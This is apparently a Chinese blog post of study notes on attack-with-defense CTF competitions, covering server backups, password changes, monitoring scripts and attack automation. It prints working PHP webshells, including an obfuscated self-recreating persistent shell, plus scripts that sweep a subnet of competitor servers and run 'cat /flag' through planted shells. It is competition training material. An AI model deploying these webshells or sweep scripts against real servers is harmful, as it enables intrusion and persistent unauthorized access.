AWD学习
0x01 准备
经过整理,需要的一些工具和脚本和自己的字典(方便到时候直接复制粘贴,提高效率)
1. 工具
- D盾(方便直接扫后门)
- WireShark(分析流量包)
- 攻击框架(还得学习,
现在问题是不会用)例如:Attack-Defense-Framework - burpsuite(搭配其中的工具Reissue Request Scripter,可以根据你抓到的请求包直接生成请求脚本,
非常方便抄作业) - 御剑或者dirsearch(用来扫网页的后台目录,不过AWD好像用的比较少)
- nmap或者httpscan(用来扫描网段,因为有可能你不知道其他靶机的ip)
- 服务器管理软件,比如XFTP或者FIleZilla Client(用来管理服务器
2. 脚本
- 流量监控waf
- 加密shell(MD5,RSA等等,都可)
3. 字典
字典里面就放一些常用的命令,毕竟线下赛断网,要是忘了什么命令就很难搞(本质还是dd
- 用于备份的各种命令(备份整站,备份数据库等等)
- scp文件传输命令
- 一些常用语言的文档(忘了什么函数方便查阅)
0x02 比赛过程注意事项
1. 备份
比赛开始第一件事就是备份,一定要备份,防止整站被人删掉无法恢复,导致服务宕机一整场
站点源码备份
源码备份可以用前面所说的工具Winscp或者FileZilla,但是每个主办方服务器不同,你要把他拉到本机可能会速度比较慢。
速度快的方法就是直接用tar打包,放在自己的home目录下(这里队友@CjM00n提到一点,最好不要放在tmp目录下,因为这个目录没有权限配置,同理我们要是拿到了shell,可以到别人tmp目录下康康,说不定能找到一些好康的),然后再把他传到本机来
tar备份方法如下:
1 cd /var/www/html 2 tar -zcvf ~/html.tar.gz *
还原的话方法如下:
1 rm -rf /var/www/html 2 tar -zxvf ~/html.tar.gz -C /var/www/html
或者
1 cd /var/www/html 2 rm -rf * 3 tar -zxvf ~/html.tar.gz
数据库备份
有时候数据库里也有flag,所以要将数据库也备份一下,避免删库跑路
首先是找配置文件,翻一翻账号密码
1 cd /var/www/html 2 find .|xargs grep "password"
备份:
1 $ cd /var/lib/mysql #(进入到MySQL库目录,根据自己的MySQL的安装情况调整目录) 2 $ mysqldump -u root -p Test > Test.sql # 输入密码即可。 3 $ mysqldump -u root -p --all-databases > ~/backup.sql # 备份所有数据库 4 $ mysqldump -u root -p --all-databases -skip-lock-tables > ~/backup.sql # 跳过锁定的数据库表
还原:
1 $ mysql -u root -p 2 mysql> create database [database_name]; # 输入要还原的数据库名 3 mysql> use [database_name] 4 mysql> source backup.sql; # source后跟备份的文件名
或者
$ cd /var/lib/mysql # (进入到MySQL库目录,根据自己的MySQL的安装情况调整目录)
$ mysql -u root -p Test < Test.sql # 输入密码即可(将要恢复的数据库文件放到服务器的某个目录下,并进入这个目录执行以上命令)。
2. 口令修改
需要修改的口令包括:ssh弱口令、CMS后台弱口令、数据库root口令
数据库口令修改
一般来说,数据库的密码是一定要修改的
1 $ mysql -u root -p 2 show databases; 3 use mysql 4 set password for root@localhost = password('123'); 5 或者 6 update user set password = PASSWORD('需要更换的密码') where user='root'; 7 flush privileges; 8 show tables; # 看看有没有flag
修改SSH口令
首先登陆SSH,然后:
1 passwd [user]
3. 上WAF
备份好各类数据之后,作为一个Web狗还是要上一些脚本在自己的服务器上,流量监控,文件监控,甚至是通用防御(不要轻易上,有的比赛裁判机会有对这个的专门检测,容易被判断为宕机)
流量监控
改完密码之后第一件事,就是上流量监控的脚本。
这个真的很重要很重要!因为当你自己找不到漏洞的时候,一个好的流量监控脚本可以帮助你找到漏洞(抄作业
然后你可以通过这些流量把洞补了,再拿它来打别人,如果遇到垃圾流量又是另一回事了。
下面是一个比较粗糙的php监控脚本:
<?php $ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip $filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名 $parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数 $method = $_SERVER['REQUEST_METHOD']; //请求方法 $uri = $_SERVER['REQUEST_URI']; //请求URI $time = date('Y-m-d H:i:s',time()); //访问时间 $post = file_get_contents("php://input",'r'); //接收POST数据 $others = '...其他你想得到的信息...'; $logadd = 'Visit Time:'.$time.' '.'Visit IP:'.$ip."\r\n".'RequestURI:'.$uri.' '.$parameter.'RequestMethod:'.$method."\r\n"; // log记录 $fh = fopen("/tmp/log.txt", "a+"); fwrite($fh, $logadd); fwrite($fh, print_r($_COOKIE, true)."\r\n"); fwrite($fh, $post."\r\n"); fwrite($fh, $others."\r\n"); fclose($fh); ?>
这种脚本一般放置在CMS的入口文件处,下面列出几个常见CMS的入口地址,在这些入口的文件里使用require_once()就可以将监控脚本包含进去,达到流量监控的目的:
PHPCMS V9 \phpcms\base.php PHPWIND8.7 \data\sql_config.php DEDECMS5.7 \data\common.inc.php DiscuzX2 \config\config_global.php Wordpress \wp-config.php Metinfo \include\head.php
文件监控
文件监控也是一个比较imba的脚本了,就是将任何没有免死金牌的上传文件全部拦截,上传一个我就自动给你删掉,或者将其中的文件内容直接全部修改掉,这种脚本说实话也是比较危险,看实际情况判断一下吧,下面就是一个文件监控脚本:
1 # -*- coding: utf-8 -*- 2 #use: python file_check.py ./ 3 4 import os 5 import hashlib 6 import shutil 7 import ntpath 8 import time 9 10 CWD = os.getcwd() 11 FILE_MD5_DICT = {} # 文件MD5字典 12 ORIGIN_FILE_LIST = [] 13 14 # 特殊文件路径字符串 15 Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82' 16 bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS' 17 logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' 18 webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD' 19 difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN' 20 21 Special_string = 'diaossama' # 免死金牌 22 UNICODE_ENCODING = "utf-8" 23 INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" 24 25 # 文件路径字典 26 spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str)) 27 Special_path = { 28 'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)), 29 'log' : os.path.realpath(os.path.join(spec_base_path, logstring)), 30 'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)), 31 'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)), 32 } 33 34 def isListLike(value): 35 return isinstance(value, (list, tuple, set)) 36 37 # 获取Unicode编码 38 def getUnicode(value, encoding=None, noneToNull=False): 39 40 if noneToNull and value is None: 41 return NULL 42 43 if isListLike(value): 44 value = list(getUnicode(_, encoding, noneToNull) for _ in value) 45 return value 46 47 if isinstance(value, unicode): 48 return value 49 elif isinstance(value, basestring): 50 while True: 51 try: 52 return unicode(value, encoding or UNICODE_ENCODING) 53 except UnicodeDecodeError, ex: 54 try: 55 return unicode(value, UNICODE_ENCODING) 56 except: 57 value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] 58 else: 59 try: 60 return unicode(value) 61 except UnicodeDecodeError: 62 return unicode(str(value), errors="ignore") 63 64 # 目录创建 65 def mkdir_p(path): 66 import errno 67 try: 68 os.makedirs(path) 69 except OSError as exc: 70 if exc.errno == errno.EEXIST and os.path.isdir(path): 71 pass 72 else: raise 73 74 # 获取当前所有文件路径 75 def getfilelist(cwd): 76 filelist = [] 77 for root,subdirs, files in os.walk(cwd): 78 for filepath in files: 79 originalfile = os.path.join(root, filepath) 80 if Special_path_str not in originalfile: 81 filelist.append(originalfile) 82 return filelist 83 84 # 计算机文件MD5值 85 def calcMD5(filepath): 86 try: 87 with open(filepath,'rb') as f: 88 md5obj = hashlib.md5() 89 md5obj.update(f.read()) 90 hash = md5obj.hexdigest() 91 return hash 92 except Exception, e: 93 print u'[!] getmd5_error : ' + getUnicode(filepath) 94 print getUnicode(e) 95 try: 96 ORIGIN_FILE_LIST.remove(filepath) 97 FILE_MD5_DICT.pop(filepath, None) 98 except KeyError, e: 99 pass 100 101 # 获取所有文件MD5 102 def getfilemd5dict(filelist = []): 103 filemd5dict = {} 104 for ori_file in filelist: 105 if Special_path_str not in ori_file: 106 md5 = calcMD5(os.path.realpath(ori_file)) 107 if md5: 108 filemd5dict[ori_file] = md5 109 return filemd5dict 110 111 # 备份所有文件 112 def backup_file(filelist=[]): 113 # if len(os.listdir(Special_path['bak'])) == 0: 114 for filepath in filelist: 115 if Special_path_str not in filepath: 116 shutil.copy2(filepath, Special_path['bak']) 117 118 if __name__ == '__main__': 119 print u'---------start------------' 120 for value in Special_path: 121 mkdir_p(Special_path[value]) 122 # 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件 123 ORIGIN_FILE_LIST = getfilelist(CWD) 124 FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST) 125 backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG 126 print u'[*] pre work end!' 127 while True: 128 file_list = getfilelist(CWD) 129 # 移除新上传文件 130 diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST)) 131 if len(diff_file_list) != 0: 132 # import pdb;pdb.set_trace() 133 for filepath in diff_file_list: 134 try: 135 f = open(filepath, 'r').read() 136 except Exception, e: 137 break 138 if Special_string not in f: 139 try: 140 print u'[*] webshell find : ' + getUnicode(filepath) 141 shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt')) 142 except Exception as e: 143 print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath) 144 try: 145 f = open(os.path.join(Special_path['log'], 'log.txt'), 'a') 146 f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n') 147 f.close() 148 except Exception as e: 149 print u'[-] log error : file move error: ' + getUnicode(e) 150 151 # 防止任意文件被修改,还原被修改文件 152 md5_dict = getfilemd5dict(ORIGIN_FILE_LIST) 153 for filekey in md5_dict: 154 if md5_dict[filekey] != FILE_MD5_DICT[filekey]: 155 try: 156 f = open(filekey, 'r').read() 157 except Exception, e: 158 break 159 if Special_string not in f: 160 try: 161 print u'[*] file had be change : ' + getUnicode(filekey) 162 shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt')) 163 shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey) 164 except Exception as e: 165 print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey) 166 try: 167 f = open(os.path.join(Special_path['log'], 'log.txt'), 'a') 168 f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n') 169 f.close() 170 except Exception as e: 171 print u'[-] log error : done_diff: ' + getUnicode(filekey) 172 pass 173 time.sleep(2) 174 # print '[*] ' + getUnicode(time.ctime())
4. 预留后门
一般来说,在每一台服务器上可能已经预留了一个或多个后门,这时候我们就可以把一开始备份的源码传输到本地,拖进D盾里扫一扫,发现后门的话可以先把自己的后门处理掉,然后利用这个后门看看能不能去打一下别人,传个马之类的
当然这种属于比较简单的马了,一般开局就被搞掉了,但是还是可以打一打碰碰运气
5. 权限维持
说道权限维持,那肯定是一句话木马,不死马,反弹shell等一系列操作了,发现漏洞之后传个马,才有利于后面更好的得分
一句话木马
一句话木马那方法就很多了,比如最简单的:
<?php eval(REQUEST['diaossama']); ?> //php <%eval request("xx")%> //asp
MD5马
但是这种一句话木马很容易被人利用,你想想你把别人服务器弄了,结果别人一看你的shell密码转头就用你的shell去弄别人,那不是被人白嫖。所以就有了其他的马,比如MD5马和RSA马,下面就是一个MD5马的例子(还可以加header双重验证)
<?php echo 'hello'; if(md5($_POST['pass'])=='042766b4e0c02419a448f2e8ec68d9bc'){ @eval($_POST['cmd']); } ?>
不死马
有了MD5马还不够,我们还得让我们的马可以一直留存在别人的服务器上,所以就有了不死马。
不死马有很多种类型,一种是不断复制自身达到不死,一种是复制多个马到不同目录相互守护,甚至听队友说还有区块链马,不知道是个什么操作
<?php set_time_limit(0); ignore_user_abort(true); $file = '.demo.php'; $shell = "<?php $_hR=chr(99).chr(104).chr(114);$_cC=$_hR(101).$_hR(118).$_hR(97).$_hR(108).$_hR(40).$_hR(36).$_hR(95).$_hR(80).$_hR(79).$_hR(83).$_hR(84).$_hR(91).$_hR(49).$_hR(93).$_hR(41).$_hR(59);$_fF=$_hR(99).$_hR(114).$_hR(101).$_hR(97).$_hR(116).$_hR(101).$_hR(95).$_hR(102).$_hR(117).$_hR(110).$_hR(99).$_hR(116).$_hR(105).$_hR(111).$_hR(110);$_=$_fF("",$_cC);@$_();?>"; //$_hR='chr' //$_cC='eval($_POST[1]);' //$_fF='create_function' while(true){ file_put_contents($file, $shell); system('chmod 777 .demo.php'); touch(".demo.php", mktime(11,11,11,11,11,2018)); usleep(50); } ?>
这个demo就是会一直生成.demo.php的一句话木马,可以跟MD5马结合一下。
知道了怎么写不死马,那就得知道怎么杀不死马
<?php while (1) { $pid=1234; @unlink('.demo.php'); exec('kill -9 $pid'); } ?>
先用ps命令查看进程的pid,再修改一下上面的脚本执行即可
或者我们也可以用ps aux命令来查看每个用户执行的命令和运行的进程
6. 日志分析
比赛中如果抓不到有用的流量,日志分析也是很有用的,分析服务器的访问日志也可以发现一些信息,下面罗列了一些服务器的日志路径
apache: /var/log/apache2/access.log nginx: /var/log/nginx/
日志除了自己分析之外也可以借用一些审计工具,比如说腾讯实验室的LogForensics
7. 自动化
后台执行
有时候我们需要在服务器上后台执行一些脚本,这里就需要使用到nohup命令和linux shell中的&命令,nohup可以让命令不挂断地执行,&则可以让命令在后台运行,比如说现在我要在后台执行我的check脚本,我就可以这样写:
nohup python -u ./check.py > log.out & # 这里-u是禁用缓存,使输出直接进入log.out # 如果需要运行shell脚本并且需要获得错误信息的话 nohup ./run.sh > log.out 2>&1 & # 如果不需要记录日志 nohup ./run.sh > /dev/null &
查看它是否在后台执行可以使用jobs命令
这里还有一个配合的命令就是tail这个命令加上参数可以动态地读取正在变化的文件,这可以让我们实时查看输出
tail -f [file_name] # 动态读取文件内容 tail -n行数 [file_name] # 显示文件尾部n行的内容 tail -c字节数 [file_name] #显示文件尾部c个字节的内容
善用这个命令可以节省很多运维服务器的精力,你可以写一个自己的check脚本来检查自己的服务有没有宕掉,检查的时间比裁判机来的快,以此规避失分
定时任务
定时任务可以使用Linux上的crontab命令,也可以使用python中的time模块,一般是用来定期提交flag的。如果主办方提供了提交flag的接口的话,我们可以结合不死马写入一个定时任务,定时cat flag并提交到接口上去,每一轮批量拿分
自动化攻击
自动化攻击这一块还需要多做一点研究,因为目前还没有实战遇到过。
大概的思路是:如果挖掘到一个通过Http请求可以直接读取文件的漏洞,譬如过滤不完全的注入,XEE,报错注入,文件包含这一类,如果我们一个个手打,那效率就很低了。可以通过python的requests模块直接发送payload并获取回显的flag,这样可以短时间内打全场,如果发现有修复了该漏洞的服务器,就将其加入ban_list即可
#coding=utf-8 import requests url_head="http://xxx.xx.xxx." #网段 url="" shell_addr="/Upload/index.php" passwd="xxxxx" #木马密码 port="80" payload = {passwd: 'system(\'cat /flag\');'} webshelllist=open("webshelllist.txt","w") flag=open("firstround_flag.txt","w") for i in range(30,61): url=url_head+str(i)+":"+port+shell_addr try: res=requests.post(url,payload,timeout=1) if res.status_code == requests.codes.ok: result = url+" connect shell sucess,flag is "+res.text print result print >>flag,result print >>webshelllist,url+","+passwd else: print "shell 404" except: print url+" connect shell fail" webshelllist.close() flag.close()
上面也是一个类似的框架,编写脚本的话可以大概按这个思路进行
自动化脚本批量交flag
如果我们不能在对方服务器上种马,只能通过漏洞直接获取flag,那么我们可以通过上一步的自动化脚本在每一轮更新获取到的flag值将其写入文件,然后在本机用脚本批量交
#!/usr/bin/env python2 #coding=utf-8 import sys import json import urllib import httplib server_host = '' #提交flag的服务器地址 server_port = 80 def submit(team_token, flag, host=server_host, port=server_port, timeout=5): if not team_token or not flag: raise Exception('team token or flag wrong') conn = httplib.HTTPConnection(host, port, timeout=timeout) params = urllib.urlencode({ #提交需要post的参数,根据情况修改 'token': team_token, 'flag': flag, }) headers = { "Content-type": "application/x-www-form-urlencode" } conn.request('POST', '[submit_flag_dir]', params, headers) #第二个参数为提交flag的目录 response = conn.getresponse() data = response.read() return json.loads(data) if __name__ == '__main__': if len(sys.argv) < 3: print 'usage: ./submitflag.py [team_token] [flag]' sys.exit() host = server_host if len(sys.argv) > 3: host = sys.argv[3] print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)
8.全场攻击
以其中一个脚本为例, 首先使用上面提到的插件生成代码后粘贴进来, 然后根据题目分布, 写个 for 循环打一遍, 再利用 while True 让程序死循环跑, 如果某个 ip 已经不可以打的话就将其加到 ban 列表里面, 然后每轮输出一共打了几个, 再 sleep(300), 也就是 5 分钟, 比赛是一轮 10 分钟, 一轮打两次避免特殊情况(如打的时候突然宕机等等)
import requests from time import sleep session = requests.Session() ban = [] while True: num = 0 for i in range(11): if i in ban: continue url = "http://10.10.%d.30/index.php" % i #print url paramsGet = {"a":"show_pic","c":"index","file":"/flag"} headers = {"Cache-Control":"no-cache","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36","Connection":"close","Pragma":"no-cache","Accept-Encoding":"gzip, deflate","Accept-Language":"zh,zh-CN;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6"} try: response = session.get(url, params=paramsGet, headers=headers, timeout=1).content.strip() if len(response) > 20: r2 = requests.post('http://10.66.66.66/api/v1/ad/web/submit_flag/?event_id=1',data={"flag": response,"token":"dzVaFmggB2WXHDjwMGug8uXi7TTRBEBNxZxHGCngJskgm"}) print r2.text if "success" in r2.text: num += 1 #print(response) else: if i not in ban: ban.append(i) sleep(1) except: pass print num sleep(300)
0x03 参考
https://xianzhi.aliyun.com/forum/topic/1530 http://bobao.360.cn/ctf/learning/210.html https://mp.weixin.qq.com/s/q6xwmkADGnbHJQRbPblaHg https://www.t00ls.net/viewthread.php?tid=34681 http://rcoil.me/2017/06/CTF线下赛总结 https://forum.90sec.org/forum.php?mod=viewthread&tid=10560 http://www.freebuf.com/articles/web/118149.html https://www.secpulse.com/archives/38622.html http://bobao.360.cn/ctf/detail/169.html
原:https://www.diaossama.work/2019/09/awd-study-notes.html



浙公网安备 33010602011771号